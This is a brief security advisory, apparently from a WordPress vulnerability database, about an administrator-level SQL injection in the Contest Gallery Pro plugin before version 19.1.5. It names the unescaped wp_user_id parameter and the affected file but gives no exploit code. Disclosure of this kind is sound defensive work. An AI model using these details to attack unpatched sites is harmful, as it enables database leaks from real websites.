WordPress Plugin Vulnerabilities
Contest Gallery Pro < 19.1.5 - Admin+ SQL Injection
Description
The plugin does not escape the wp_user_id GET parameter before concatenating it to an SQL query in management-show-user.php. This may allow malicious users with at administrator privileges (i.e. on multisite WordPress configurations) to leak sensitive information from the site's database.
